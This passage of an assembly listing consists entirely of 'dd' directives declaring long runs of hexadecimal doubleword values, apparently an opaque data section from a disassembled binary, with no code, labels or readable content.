		dd 39A284Dh, 0E7FF00A4h, 7A2D463Ch, 0B72487AEh,	18297639h
		dd 0B50D8C22h, 0B1C9FDF6h, 46E9E4h, 0E0920426h,	0ECC34D03h
		dd 2F06B8B0h, 2423A1C8h, 174B0028h, 0E586799h, 9B0A7506h
		dd 843CEE9Eh, 0C1102D80h, 7C6C4DBDh, 85831E79h,	0F73280F2h
		dd 0C02FBBA7h, 0B5A1E000h, 19228197h, 65F600C5h, 71114A26h
		dd 98905305h, 0E292BF0Fh, 87D760C0h, 0C056ECF1h, 0FEF28A0h
		dd 3A0001E5h, 0F835AC26h, 3BB3312Eh, 0E95C92DFh, 64375A00h
		dd 0B657A438h, 0FC4C2F31h, 0F424707Ah, 0FDEB01BFh, 0CBC871B8h
		dd 0C305DC44h, 4ED85600h, 0A9D64A1Dh, 0E0C65AD7h, 5AE4AB22h
		dd 0CDB7FD00h, 2FDC8A67h, 0C492D2h, 5B38D5A6h, 0B37C944Fh
		dd 0DFE1E71Ch, 31B68B94h, 0B94C71C6h, 0C09EB6F4h, 0C9CBB50h
		dd 9F609733h, 1A2D0710h, 5C9040h, 887CB1F4h, 0A9A6825Eh
		dd 0AF3AEBFCh, 0E8B080CEh, 813AA21h, 60FC05B7h,	3D52D17h
		dd 69E404E4h, 0F84EA7E8h, 7555311Dh, 0CE461B00h, 0DEABDBh
		dd 3ABB7202h, 85B9792h,	81B2D500h, 0BF4CA6A5h, 60EEE951h
		dd 1D5C2FC0h, 8076033Ah, 7EE255C8h, 7926960Bh, 0AF00BCD6h
		dd 4BC27873h, 0CC231EA6h, 212E00EEh, 0F1771FEDh, 0E247D70Ch
		dd 0F0C48Bh, 132909C5h,	866B85F3h, 0BBF158h, 92F70BDFh
		dd 0A0F0E757h, 161090h,	3B4939A3h, 9E2D8243h, 9DE6C01h
		dd 0E1410BFEh, 243C30h,	0A8CF9906h, 0A9E6F82Dh,	4E420E16h
		dd 5CA3DE00h, 0E0927D1h, 0A885E37Eh, 0E4D740FEh, 1FB49844h
		dd 8162EA13h, 4DC42A04h, 0D101008Bh, 0E36718F7h, 1A402047h
		dd 0CD7E7D06h, 0E104499h, 0A22EF5D3h, 46414F80h, 8F021512h
		dd 7B4B5704h, 0DC68E126h, 9245B0F0h, 72902200h,	14652100h
		dd 13D1E955h, 3225895h,	51EDC003h, 62B05E25h, 207C55DFh
		dd 10018378h, 7E0A276Fh, 0AFC44608h, 8C131C63h,	0B2EA4E99h
		dd 4852B6E0h, 0EF71011Dh, 86F9E716h, 0AB051E00h, 66C96Eh
		dd 4BFD38C3h, 19D09C60h, 5FC14800h, 0D4B753C7h,	0F34F04CEh
		dd 881E9A31h, 2200C8C0h, 0FCC93285h, 86C49h, 0BC788C04h
		dd 0FB76445Fh, 0CAD0C267h, 32E6C5C0h, 122D00E5h, 508EB87Bh
		dd 0ED0E67F7h, 0E17A590Eh, 0AD8CC318h, 1FF87DD8h, 6DE69410h
		dd 0B0004676h, 698A9E9Fh, 2DCD00C8h, 83070BE3h,	6A7736D3h
		dd 0F1F51F07h, 0CB507241h, 51DB631h, 0AC8CEF18h, 22E307B7h
		dd 0E5A00F82h, 6646D98Bh, 9309B0A6h, 808E0224h,	1E27EB7Ch
		dd 0DB6D0047h, 52DC99D8h, 7007765Dh, 0BC4FB17Fh, 0EF80577Bh
		dd 0A5C405EEh, 0F77E8C03h, 0CC2B9EFBh, 0A9B6AC90h, 0E6DA00C7h
		dd 0C03164D3h, 54243D6Ah, 39D4F0h, 35F97576h, 0BB06C3h
		dd 0D319447Eh, 0ECD5E555h, 0E100BF7Ah, 0E8D63DA7h, 71CB84h
		dd 0AF91EF68h, 5A9869CDh, 35A5AB00h, 6441FD1Eh,	0FC8C00F2h
		dd 7F671A6Eh, 9D16BCC0h, 0A040BB92h, 2605A00Ah,	69241F6Eh
		dd 0CEFC0054h, 2D5837ACh, 0BA963300h, 48035A90h, 0BDB500EDh
		dd 25D1503Ch, 8500789Ah, 0DCDFFF7Ch, 1D08B6CEh,	28A26DF2h
		dd 76130FC0h, 0B660ACh,	7E8741E5h, 0DF3C9701h, 0BED870h
		dd 0D10F15ADh, 1C9DD0h,	0ABC1C3CAh, 0CE2C064Eh,	8E0329FAh
		dd 2A566A4Ch, 6439884Bh, 0F8120036h, 85BDDC9Fh,	0A130714Eh
		dd 43ACA0DDh, 0F441ECD8h, 7D400039h, 0B4C294DAh, 8C00D9C6h
		dd 0E3ACF08h, 27B8FAFh,	86828A78h, 0CC8238ADh, 20685AD0h
		dd 6F07CFC3h, 0E11CB2B8h, 70C5CE20h, 6D8200C9h,	121B55EEh
		dd 9300DEC7h, 0AD805EB4h, 22EB1Eh, 0A8C6BDC0h, 0E7356685h
		dd 0CE0B1800h, 6880DBF3h, 30421689h, 69C442B9h,	0E84A869Eh
		dd 0D556B360h, 54D62400h, 39153A02h, 21876192h,	80BCDD42h
		dd 98206A39h, 0E840688Eh, 3084E882h, 70B9F786h,	3C78504Bh
		dd 3AFC0F01h, 0DF67D9AFh, 0B1901047h, 1ED80444h, 2C61997h
		dd 0DF42E8FBh, 30683080h, 0BF287598h, 0E4004044h, 0E7506080h
		dd 1E4DCEEDh, 0A83CB9h,	13512B53h, 0FA098CC1h, 80269E97h
		dd 66B9E282h, 0F6560052h, 7B866FD0h, 0DC00641Ch, 4B50A59Ah
		dd 1E44CCECh, 24FF75E4h, 8CD18144h, 94CF6ED7h, 60C2146h
		dd 6AF7F969h, 488E07F0h, 0C0E8EBBEh, 0A6C56C16h, 0B543A000h
		dd 36B8525Ch, 6923F6Dh,	0DCFB0A1Fh, 8D3380B4h, 7548D0ABh
		dd 18A9A230h, 526A3Eh, 4DED71EAh, 0BED538D2h, 0E0FA4218h
		dd 4DCB8320h, 4D015050h, 736A35D7h, 1930809Dh, 50F52C5Ch
		dd 1FEC7D38h, 0F7E8837h, 0B86D42BBh, 0D2D0F040h, 1FF0714h
		dd 447006B4h, 0A2881B3h, 0E6779448h, 0AB6680B8h, 56CDB97Ah
		dd 0F8F6DA20h, 21FD6328h
		dd 890CE4CBh, 510372BBh, 4D6E0685h, 0D1B02A15h,	9A943A00h
		dd 33E9ED83h, 3491D9h, 8E82C8CDh, 0BA546492h, 0AD0643E8h
		dd 0DE073DB0h, 0EF353E71h, 3D43E2Ch, 53F54932h,	8B606040h
		dd 0ED87E200h, 0D8410370h, 17BE01ECh, 38754D2Ch, 1C1AEC36h
		dd 0CA0E2973h, 1F430102h, 11696704h, 59170FC0h,	4DC10053h
		dd 1344E14Ch, 2600FA61h, 54A9F31Fh, 2A2874h, 6F70D5D1h
		dd 0B311BCB5h, 0D898A000h, 0EFCF199Bh, 8F4F0099h, 0D23BE41Fh
		dd 0F70055AAh, 1C4D181h, 68E99009h, 604E1C3h, 10EA92DAh
		dd 0F165B1Bh, 0ECDEF9D8h, 0EF2020h, 526E794Ah, 62BA63DAh
		dd 0F75BC40Ch, 84F22911h, 427EE922h, 0F846088Fh, 0ED160848h
		dd 917FCE88h, 6007B7Bh,	324BAB64h, 3A88135h, 0C04918Eh
		dd 72F8ECAEh, 862E573Ah, 26032CF0h, 0D717CEADh,	9F5FD820h
		dd 0BE791D74h, 0CF0240C9h, 7FFC3E04h, 0C2062001h, 0BA252939h
		dd 7E803038h, 332890A1h, 0FA663B00h, 53B651C0h,	22E1005Fh
		dd 399932FDh, 43054AA2h, 0B79E6A4Bh, 93C0C400h,	1C1426E1h
		dd 0CE454CB2h, 0B3201C96h, 0DF887AF3h, 0A8E85907h, 9009DAE0h
		dd 986CE8h, 0B10D3361h,	0F3FDBC07h, 0A3F62875h,	0BF00C675h
		dd 81B57FD0h, 32E1271h,	0BA72E009h, 0EAE07697h,	0E6253FA2h
		dd 0DC040096h, 9175D3h,	363220BFh, 4DD55369h, 11209B60h
		dd 3886748Ch, 75007F6Eh, 646F7626h, 0D3008FA2h,	729EA70h
		dd 0FE3F222h, 569B3D7Dh, 86BD9C0h, 0D4008810h, 0C8AA8A12h
		dd 70C09A6Fh, 66940063h, 0D320A829h, 0D20037A4h, 0FBCF385h
		dd 0E6A05FAEh, 7DAFFA48h, 3F430002h, 0D1BB7F2Dh, 2E03EE95h
		dd 7457B7EFh, 87198840h, 0F3C4C60h, 0F5808038h,	0FDAAF295h
		dd 0DBF862BCh, 0F9CD1700h, 8DBE5EC3h, 0EF4D00E2h, 0A499091Fh
		dd 300B60Eh, 0EE8C4838h, 1411C8AFh, 0EC53B53Eh,	6783903Bh
		dd 7B5A364Ah, 0DFD651F8h, 39E01300h, 7C80723Fh,	0DCD40EE9h
		dd 6720F1CCh, 0EF1AB414h, 72B7655Ch, 0E276BF00h, 81C0DB7h
		dd 0CC800084h, 71EEECE8h, 9B0078C1h, 0E2C009BAh, 0F7A2135h
		dd 0F6A25716h, 0CE0E9200h, 0D11D532Dh, 83DC5847h, 81ABBA0Bh
		dd 0DE6C4670h, 18FE2D8h, 5068887Ch, 0F98917F1h,	0CD728062h
		dd 4ABFCB67h, 8218001Ah, 0A724CA2h, 0B67C9A4Fh,	0C03DCC00h
		dd 26DA4AE4h, 0B33B0077h, 7EC7CA98h, 0AE00051Ah, 0E6DE81DDh
		dd 2C04C9h, 0A11D90F0h,	0C5E87480h, 1C00C7EAh, 563BFF22h
		dd 27C8E0h, 0AF1A6B0Ah,	0B23CE93Fh, 96FE2C00h, 0EF12F024h
		dd 0A492005Ch, 57C0020Dh, 0A500D868h, 0B136831Bh, 2CC5D133h
		dd 807CDCF8h, 5D91BB7Eh, 0F67C10E2h, 1A544200h,	98338B3Dh
		dd 16EE00C4h, 0D4874FDCh, 410BFE59h, 80CA9C95h,	4E605A5h
		dd 336B004Bh, 19932D4Eh, 70F596F1h, 0C2128F8Ch,	0D0C5E6E9h
		dd 49E5AA80h, 0F77000E3h, 33D1F29Bh, 3700308Eh,	0D3257618h
		dd 159394h, 0E4B45C7h, 6EAB06C3h, 671BB600h, 0E0794818h
		dd 64CE0083h, 0EC4AAAE6h, 4512B4BAh, 0A000A6E8h, 96F032A5h
		dd 94C93FF2h, 2C5B7404h, 5272C071h, 0CB03A4A3h,	0F676775Fh
		dd 0BA600011h, 0B350457Bh, 34003722h, 19D7C053h, 1633213h
		dd 0BA433671h, 0FCA1C39Ah, 0E101AC51h, 0C1BBBD6h, 74205B5Fh
		dd 1F40013h, 89E9C7C5h,	0E6A11CFFh, 9B2120D6h, 9DB89525h
		dd 3219E400h, 40AC79D2h, 4311E256h, 0C80ADD00h,	3BD6B169h
		dd 87B60001h, 0CE29B07Ch, 8748C04h, 0EF7E5100h,	0D7C4FA20h
		dd 0ACA10149h, 0ED0DD9B4h, 0B6AFC805h, 0B40BF428h, 3EEEB900h
		dd 8806495Dh, 4FC1024Ch, 9D668275h, 0E0AFE441h,	543EA83Eh
		dd 0A0C804BFh, 0F480E712h, 3DEE52CFh, 3686A547h, 7C3B5617h
		dd 3C0078B4h, 92F850Fh,	35630707h, 0E0FAE55Dh, 6A9236E7h
		dd 0A3282C00h, 323FD14h, 60B93DF9h, 74DA6100h, 39930E45h
		dd 35485E00h, 0B11610B7h, 0F09000DFh, 0E111ACF4h, 0A500385Bh
		dd 48AB13BCh, 7CD42CCh,	0D940B961h, 0F2DFD09Dh,	0FA032265h
		dd 8C57FF3Ch, 0C03F014h, 0D990079h, 7526C223h, 740F721Ch
		dd 1E7F2A82h, 9DA65440h, 9C8699h, 0DC07E897h, 4F83AC35h
		dd 0D0B75872h, 0B03400FEh, 1E0CEBAAh, 0B8009184h, 7594828Dh
		dd 76CCA2Ah, 40CD1AE1h,	631ED07Dh, 5607206Fh, 0C9E27ED5h
		dd 0A6601CC0h, 86D70073h, 5DD8A061h, 0AC00436Eh, 95202246h
		dd 779C2ABh, 0C5E60EF9h, 281AF07Ah, 5E00D05Dh, 4609218Eh
		dd 148F9BFh, 0B27B107Fh, 0D8A06AB7h, 0FE00B8D5h, 0A1DA2779h
		dd 576411h, 0B27D540Fh,	56C5E5E4h, 39B89900h, 17785CCCh
		dd 67C000D3h, 4451E880h, 33004FA5h, 0FF6FDC71h,	0F735DDh
		dd 0C89F4C72h, 89CB7BC0h, 42874A00h, 4066324Eh,	3F0E00D0h
		dd 0D9A694Bh, 8D90BCCEh, 0BFE45F00h, 0EFEE4377h, 363C00A3h
		dd 0A623448Ch, 34026948h, 0C03AE5FCh, 27BA4074h, 5E7241h
		dd 0DC081EB9h, 0E1F97CB0h, 0C6F898A3h, 0DF00D435h, 8E893FCCh
		dd 69C42Fh, 164B179Fh, 0B46CA095h, 8AD4E001h, 26FF6579h
		dd 5AC6FCh, 52506B39h, 5F1BE2C5h, 0EABC4D00h, 0D4096C45h
		dd 810C00ABh, 64E00E37h, 84006F16h, 2D17A2Ah, 0ED59C3h
		dd 56DBBF0Ah, 0B48510D2h, 626D7704h, 7C0A91Eh, 4ACE7B03h
		dd 1339B814h, 9B00FDC0h, 0DD4D7562h, 18D7EEDh, 0BE3C7027h
		dd 0ECB9AECFh, 0FC007C3Fh, 0F9D19237h, 104A0Ah,	53620B8Ah
		dd 1657AE2Bh, 3C26A900h, 928CE561h, 2EE11CEDh, 6E8840DFh
		dd 4E8E03C9h, 0E5233E00h, 0E4C257A8h, 0A663DB3h, 0B19B8C83h
		dd 0AEE8E768h, 600081C4h, 7E890EE2h, 1F5218C3h,	890334B5h
		dd 0F300D6F1h, 5A914FFAh, 25790A03h, 0F05CD5CAh, 0F2975F5h
		dd 0F011975Fh, 5EA2E1C0h, 3A004525h, 37DF5778h,	0DB868Dh
		dd 1CB83E0Dh, 8C7D056h,	0DC2E7500h, 0FD70657Eh,	3E52585Bh
		dd 5168E100h, 0CE7438BEh, 0FA876B07h, 0E070B603h, 50E85741h
		dd 9EA63h, 0BA35EFA4h, 391B87AFh, 0A3CA4300h, 69DF2472h
		dd 2EB4008Fh, 0A47783FAh, 0D1051D6Dh, 600ABB86h, 0F56EF000h
		dd 35B81E7h, 0FA92C5Ch,	8EF814A6h, 693F6FA2h, 0CC520073h
		dd 29A0EE47h, 0D4A81E27h, 320D408Ch, 1767F8F4h,	0E455848h
		dd 0D22F44E1h, 7E8AEA04h, 0CDD7B480h, 0F7241733h, 80F21F3Fh
		dd 0EC0CF811h, 58248D88h, 0D101C651h, 499BBE34h, 17A65C0h
		dd 8B8161EDh, 0F8925397h, 4000B657h, 17764CE3h,	3BBE3608h
		dd 3C79D584h, 0E100748Dh, 0F42785ACh, 0D8F8A7BCh, 0A900CF70h
		dd 0C306B2DCh, 2E23C18Ah, 88B8B6h, 0A1AB7769h, 340078D8h
		dd 5F2A0B0Ch, 0F7A246h,	0CD87984Ah, 0F879DFF6h,	1BD1EA07h
		dd 6AA7E1F1h, 6B0F6100h, 0AE3B0042h, 56DC2549h,	7216C9EFh
		dd 0EFBD9A8h, 0D6C03FDFh, 0DE479675h, 0B0F0FC31h, 16F43C71h
		dd 793400A3h, 6AA79A89h, 5300605Ch, 299D1008h, 0F49B31Bh
		dd 7105C23Bh, 45B86DE0h, 0E307676Eh, 781943F4h,	663185B0h
		dd 0B6E93CC0h, 0DFF5CD00h, 1E96EB52h, 0B9070100h, 6229DB30h
		dd 0F4E454C7h, 0AB8F0AA6h, 2FD98F7h, 0BC6B406Ah, 61107C60h
		dd 38820604h, 90C11FC8h, 0CC24F773h, 8333005Ch,	25EF4ABBh
		dd 7700D35Eh, 11C6D531h, 30B47DE3h, 43606021h, 34749490h
		dd 0C08570CFh, 3F22E098h, 0E5EC0597h, 79C9A84h,	326CB310h
		dd 0A6031AE0h, 2883A08Ch, 34C38323h, 92C794E0h,	0ED5F83Dh
		dd 0A004624Eh, 0ED51BA13h, 0F9BE03B4h, 152D7622h, 3B46E5E0h
		dd 0A2A6C61Bh, 402BC060h
		dd 3F323BE1h, 0EE93A1E0h, 0C08347B5h, 1FA6DAE2h, 9D4CCC8Bh
		dd 0A01468B4h, 3E0182AEh, 8D2881E3h, 0A19A280Ch, 0EE77360h
		dd 13EBFA40h, 0C270EF8Ah, 8C9024EDh, 52003BE4h,	3F0B02F7h
		dd 401C5Dh, 0A02813ECh,	0A6D85A21h, 8D7BB874h, 1EE46009h
		dd 80360058h, 71CE1A72h, 3B48000Bh, 5D5026B8h, 8273C560h
		dd 0FB77C700h, 34A78E6Ch, 486F829h, 6E09174Ch, 81E4C685h
		dd 815D5E00h, 0E5D0786Ch, 125CE263h, 72BFC3h, 0DDF19DC1h
		dd 0B55CEDB3h, 0B2F70085h, 9873294Eh, 61AE18DEh, 0B95E4871h
		dd 0A41B51C0h, 3CF3331Ch, 860173DDh, 9312DB88h,	55AFE0DEh
		dd 383A5303h, 127026E1h, 27EC2830h, 4EB5C044h, 617A6CB4h
		dd 3BEDA302h, 854DE22Bh, 34009E10h, 3A77EC01h, 4B9F38EFh
		dd 0B81FF183h, 20065EF6h, 51C6F7F3h, 0AD920039h, 3A7BA9B9h
		dd 4FB8E07Fh, 699E1F00h, 27DE0131h, 0EB281882h,	3CF331E1h
		dd 69B3F802h, 40250561h, 358E730h, 74DE642Eh, 6EB8E60Ah
		dd 2C54DF33h, 2186048h,	4E106D3Eh, 40241628h, 357B00FDh
		dd 28D3F58h, 0A6F9CB60h, 1D1EC9h, 1569A9C8h, 0DC37AF9Dh
		dd 0D3CF0313h, 8EF34702h, 6B76E090h, 0EA810013h, 973ED1Fh
		dd 0E300CFEFh, 43353BDFh, 179B72h, 77F7A165h, 0FA4936CBh
		dd 0BA1E4700h, 6C40720h, 0DB6F007Eh, 7ACDA46Bh,	3600EAD0h
		dd 0D613DED4h, 0ECD229h, 4D28B0B2h, 5D7C3412h, 83DC900h
		dd 0B5986BDAh, 0E79B008Ah, 33F0F3D2h, 0FD3ABF95h, 0F9118045h
		dd 9DDD1E90h, 55E103C5h, 64C25C29h, 814B2C00h, 0DCD5374Ah
		dd 0BCD300CBh, 0F9D06A28h, 3F6B3952h, 6D00574Ch, 0CCA181E0h
		dd 0B3AF100h, 2B98CF32h, 1351E8Fh, 67424385h, 0B7C0D3BAh
		dd 0EF7C4F1Eh, 985D3200h, 0F986D024h, 0F65F0759h, 0D0A4C3D7h
		dd 3833514Ah, 53CC2900h, 0ECB597FBh, 9E7C3E7Dh,	7DED229Eh
		dd 0A0D71E0Eh, 7F858C20h, 42E0BC08h, 0DEB41800h, 3F3EF8A7h
		dd 0A54B002Eh, 1A68F25h, 2D001A30h, 0A4C98965h,	4786ABBh
		dd 0CF1DE1F0h, 7337C081h, 421D040Eh, 2EC5DCFDh,	0DC00D2A1h
		dd 0EFE9B91Ch, 783E0050h, 2FA3F494h, 77389AB2h,	0DB3D00C1h
		dd 0AB5F9D43h, 0BEF10FB8h, 7CE047D1h, 0EEA7F37Ah, 34F05Ch
		dd 216E63AAh, 1F8C325h,	34FDC249h, 806B5238h, 4EC69AF0h
		dd 35E7814h, 0F52EE619h, 43E8C025h, 740099CFh, 0A1D81E0Ch
		dd 0AC1115h, 8B32187Fh,	9E69BFF9h, 0BCD48E01h, 35FB0D0Ch
		dd 5883D4h, 503BC9F4h, 952156A1h, 0ACF38E1Ch, 0EC5DA340h
		dd 0C71566B5h, 97D97E60h, 0DC1BC025h, 0F6093C4h, 0F0275118h
		dd 297768C8h, 0DC3E00C4h, 0A3BED45Ch, 0F37D07F6h, 49CD2D00h
		dd 819F37F2h, 5DD100BDh, 42181FB7h, 32003E6Bh, 29C6A0DDh
		dd 99DFABh, 92CA6895h, 0C5D0018Eh, 81182300h, 0D246B8Ah
		dd 0CCDF5012h, 0EBFB0939h, 0E80D297h, 0F2C44925h, 8C12F726h
		dd 3E7B2600h, 18704BBDh, 76EDA7DCh, 0E873B7CAh,	0F6E3EC00h
		dd 2B0E0C3Eh, 489092h, 5E17DECCh, 0AA367CBFh, 73607175h
		dd 6965B1D8h, 0E460095h, 0A4C6FC8Eh, 0EE004B20h, 0AAE663ACh
		dd 34CF65h, 1B0A42FBh, 0F83E729Dh, 1D6CA148h, 8D49EA48h
		dd 9718009Fh, 14430DE2h, 847FA964h, 0F0542300h,	0BB603D02h
		dd 6039BE0h, 347E8525h,	60809CF6h, 0F6B3AEE3h, 1E8A0017h
		dd 1327DF2Ch, 880A1820h, 0C4286DD1h, 6080AB91h,	0C533E39Bh
		dd 843F713Bh, 0ABF40C95h, 2C205897h, 43284Ch, 0FCAEE11Dh
		dd 67702A63h, 0ACEAD728h, 12041F00h, 3DAC916Eh,	0E9AF03C9h
		dd 9F6557ABh, 4BA676C8h, 174140C0h, 0C516C1Dh, 8267AEEBh
		dd 7D0058D8h, 88750BB2h, 0D46EFAh, 34146896h, 181D1549h
		dd 0DD9F631Ch, 1173D40h, 0C20A1AEh, 391F64CBh, 0AF005858h
		dd 5CF1D1EEh, 3F32E9Eh,	0F436802Dh, 0D28041AEh,	0FC0E8CA7h
		dd 0E035F0C7h, 6B154B08h, 58F50031h, 0C2E2B67Eh, 201C2204h
		dd 0BF800367h, 0A95CB08Ah, 0FFF600ECh, 89F8D89Ch, 5650CDFEh
		dd 19009FA6h, 0CB3EB26Fh, 0A7965Dh, 0D8CF73E3h,	0AD260B0Ch
		dd 483A3000h, 0A5FC6A36h, 0BC1600C6h, 0ACA0BBDBh, 0D6505274h
		dd 383DDEF4h, 0D22504A9h, 44D0C1B8h, 307170h, 975E391Ch
		dd 8F6EDB57h, 0D282B700h, 34522441h, 0A2833D30h, 7CEFB8Eh
		dd 8B53CDE0h, 1201F2D4h, 290578AFh, 1F057F0h, 0D2F0A9h
		dd 309B4E84h, 0E64CCA98h, 37F5B512h, 58336E00h,	664DDEh
		dd 64088240h, 7E3C1469h, 4896CA24h, 0B9AF380h, 307D9C05h
		dd 68A87C42h, 5607B0C9h, 98DAFA43h, 7BF35461h, 8976E840h
		dd 0EFAC00FBh, 5FC60342h, 0D8A04790h, 72B07C80h, 211C6D0Eh
		dd 0CDE0007h, 2E9A4AF6h, 39DC5ABAh, 99BCD200h, 0E541399Eh
		dd 7349F48h, 0F3318FFAh, 33307727h, 0C43B144h, 0A1647B09h
		dd 0BA00C452h, 0E0202EC6h, 4A7401Fh, 0EBA0F1E4h, 11BC803Ah
		dd 73007FD2h, 2E93EF9Ch, 75B59B4h, 0F3C5E097h, 90C92745h
		dd 12B213B1h, 4A559F00h, 1BBFA54Dh, 229B039Ah, 99A7EC46h
		dd 0F3B10F98h, 0EB2F3700h, 0A092DEB2h, 39DFEECEh, 0A59FDD05h
		dd 0B9B48399h, 0DC80109Ch, 0A4000B7Ah, 90B0BD3Ah, 0A2D4D0Ah
		dd 0D66E562Ch, 0E7B12C1h, 67E1199Eh, 0E68BC9A4h, 1EE557C0h
		dd 3BC81600h, 0A983925Ch, 0C2B00A7h, 0DCD20649h, 0EEE6D485h
		dd 48739000h, 0C021CBBFh, 479B26C7h, 6DA803F0h,	0D1A06A59h
		dd 36F2F3C9h, 79014000h, 0C4A299Dh, 6CAD03D5h, 0E0867E75h
		dd 39F81EF8h, 1AC62400h, 0C0B308B1h, 1B7200B2h,	3DFDBE7Eh
		dd 0B91DE7E5h, 53C0EB3Fh, 0A9858E5Bh, 937F0071h, 903C9430h
		dd 8D00F646h, 0E195CC19h, 285B5473h, 0D8063Dh, 8F9E2823h
		dd 0F0488E36h, 53B40700h, 0FFDF661Eh, 24D62477h, 0E0D2003Ch
		dd 0D8ABEB9Fh, 4153F200h, 9BFF3C80h, 0A121031Ah, 82CA58Ah
		dd 0B3CA50E0h, 0F4D6AC00h, 93734355h, 1BA200FBh, 0BA7B9EB6h
		dd 4F011541h, 55C17240h, 6035F4D0h, 48DB89E0h, 0C3007F10h
		dd 0CF83580Ah, 3C90A265h, 9AF060F0h, 1E0C0FF8h,	38EC8E29h
		dd 0A01600A4h, 3B50566Fh, 30E87393h, 595C180Eh,	0E6D9E0FCh
		dd 272214h, 4392F4FBh, 8E161C4Fh, 63699414h, 83E63EEDh
		dd 0F6A3716Bh, 0B2D988Bh, 669703DAh, 2B535EC3h,	1EE8193Dh
		dd 0F0896B87h, 0FF7E0013h, 823F88h, 0A3AFA4BEh,	31507B93h
		dd 86ADCE04h, 0DC93D4E1h, 20E8075Bh, 0D0A86BE6h, 98026D40h
		dd 32DA3100h, 0F18D0C45h, 0C2D100E2h, 4F372C8Ah, 1185185h
		dd 7606A024h, 1609003Bh, 0DF437432h, 1E3C5B2Bh,	1BBB8092h
		dd 2C466062h, 0DB8D00DAh, 0E37CA6BDh, 5D002BF2h, 4C36C7B8h
		dd 90F889h, 0FB74F056h,	0D3942D92h, 47C67A00h, 0B28E19C4h
		dd 8B3A2484h, 0C766009Ah, 4A7F319Eh, 89E10D01h,	727CC9BCh
		dd 0D29560h, 0D5064238h, 5457719h, 0F5A22500h, 1D325A8Dh
		dd 0B25C58B2h, 1928DA0Bh, 80845308h, 54DFC1D0h,	0EF50622Eh
		dd 362827E0h, 13038033h, 0EB99F00Bh, 0A13BD906h, 1442DC4h
		dd 2AD6F552h, 880936A2h, 1CB33728h, 941B00BEh, 0F97B23E7h
		dd 0DCB66403h, 0C8D8A87Ch, 8F0F5Ch, 0D18BFF85h,	0F64A20E6h
		dd 0B381E200h, 1167AA2Ah, 0CA0903B0h, 0D81A477Bh, 0E4CCDB91h
		dd 8400B4B3h, 12FF9FA6h, 0B9144Ah, 4456EDD3h, 0DB3E978Fh
		dd 31CCD200h, 5B29EC4Eh, 0D0B1DAh, 0D6C940D0h, 980038F9h
		dd 57564687h, 0D88186h,	64CE62B8h, 5AC6199Dh, 37F4700Eh
		dd 0F76A4036h, 32B98Ch
		dd 0CE0B9105h, 0DC4C1F43h, 256D9CA0h, 0A18FD11Fh, 36B200B8h
		dd 0E1CE584Eh, 0F6541657h, 0FB00060h, 0F2B7EC14h, 4B464000h
		dd 92B2AEE5h, 5F70FABh,	96C06F42h, 6E1650ADh, 83185739h
		dd 5390EA1Bh, 0AAA5A728h, 6880C6h, 35B8F7A4h, 15A95D11h
		dd 3AD92800h, 2D8A5F45h, 0C9BB00F9h, 0EA2B63D8h, 9900A282h
		dd 1C4BB55Ah, 1374C08h,	5E1D1966h, 0C8433984h, 2400ACCBh
		dd 6FE7CE7Ch, 24FC78EAh, 0FC9C51h, 4C9F9AB2h, 0DE73FF98h
		dd 725BF700h, 97C2DA14h, 0E5A10074h, 0AD25BA34h, 0F500DE51h
		dd 0BF3CF89Dh, 8990C6h,	47424A4h, 0F6C08E07h, 8D7DA500h
		dd 0DB682197h, 257200CBh, 0C6477C99h, 0A5000DF0h, 29387D46h
		dd 3D607867h, 8403770Ch, 6B26DD34h, 108C828Fh, 0F0521498h
		dd 0F698D100h, 0FD76B3F8h, 0C1B70035h, 0AF11C96Bh, 0E8B8E35Ah
		dd 5F009A71h, 7FBB8447h, 3DE8886h, 92D0D92Fh, 69C83D10h
		dd 45037889h, 0B01CAD83h, 1770E065h, 0DDF20002h, 8B3E7BEh
		dd 11D6A784h, 4A4CED00h, 0C9B1D0h, 0A3570F83h, 11F379E0h
		dd 9D6DE514h, 0FE9601A4h, 5C1BAFDDh, 9587A050h,	0E69E005Dh
		dd 4908BB35h, 822E066Fh, 0DA053A11h, 60C01B01h,	1302A12Ah
		dd 488809h, 71E2F2E0h, 0A4A919EAh, 42AF4CCh, 0BB78BA00h
		dd 3E5BA756h, 0F817000Bh, 13B646D2h, 0A572E3A3h, 51EDBE05h
		dd 8BC061C8h, 7D176D2Ah, 6E900054h, 1340160Dh, 8900AC1Bh
		dd 7EB4C7E8h, 4C7A624Ch, 0C8603864h, 466112EDh,	0A7BA5F00h
		dd 0AB5DAD7Ch, 9A9526B8h, 3BF90091h, 33370A9Fh,	22B62B01h
		dd 0BEA7B35Fh, 0D8003771h, 0F1D825h, 6A749924h,	5B19AE02h
		dd 9C54DB58h, 10EFFEC3h, 0EAE990D3h, 608C4EB2h,	0E641508h
		dd 3D65FE4Ch, 1B27003Fh, 0D9FBA6E0h, 0B6BE0035h, 0C31C131Ah
		dd 0A40052DDh, 2F7839D7h, 715C438Ch, 38DE0430h,	0B0DFC69Ah
		dd 7500D17Ch, 6DD9B747h, 0E24F4h, 70A964C4h, 0E835E938h
		dd 81723C18h, 0BACCA8h,	0D7ED3360h, 0E21813BEh,	5AF5261Eh
		dd 4D8B58C1h, 0B880E695h, 6DFCFA4h, 0A909C540h,	0DCFFD1h
		dd 0C6796195h, 1D1E4E31h, 7500A0B4h, 0E75DD305h, 0FD57A3Bh
		dd 3294A659h, 26502C40h, 0AC07656Fh, 0C1759B2Fh, 0D613BF00h
		dd 0DD58000Eh, 0E6F119C8h, 0EB00AC2Dh, 0FD9610C5h, 7C66FDCh
		dd 49B1D932h, 2935B085h, 0D400BF5Eh, 22AE05B8h,	0F0ABEAC9h
		dd 1EB1002Dh, 4AC7F54Fh, 93E43E45h, 57DDAD00h, 1379DBD7h
		dd 66052477h, 43DE9D04h, 0CB8440BCh, 2F6899F8h,	0C5E86E00h
		dd 8C48D38Eh, 0AE2001F1h, 5FCDA910h, 30B1C469h,	8BD2AB07h
		dd 0C065918Dh, 0BC9A58C0h, 4871F0FAh, 7400682Fh, 0CA3ACF47h
		dd 0C400469Eh, 0B53EC381h, 0FAD4F742h, 244948BBh, 0E9F33203h
		dd 60BFC672h, 1152DB9Bh, 0B200A6EEh, 0C4806F3Bh, 0CB13DEh
		dd 432BAFD5h, 8741FF2Ch, 6C40FC4Fh, 0F0095FA3h,	35E4CCh
		dd 0A69D43DCh, 0F6FF8A9Ah, 120058FEh, 441874D4h, 17A01B1h
		dd 67AEE01Fh, 0C71E7C2Eh, 0DF16BEE0h, 5A233900h, 8BF9074Dh
		dd 33512653h, 56F134Eh,	80ED1838h, 65A2642Ch, 0ECFD4418h
		dd 3E8910h, 21FF55EBh, 23476E06h, 0C9052A74h, 30AD20A4h
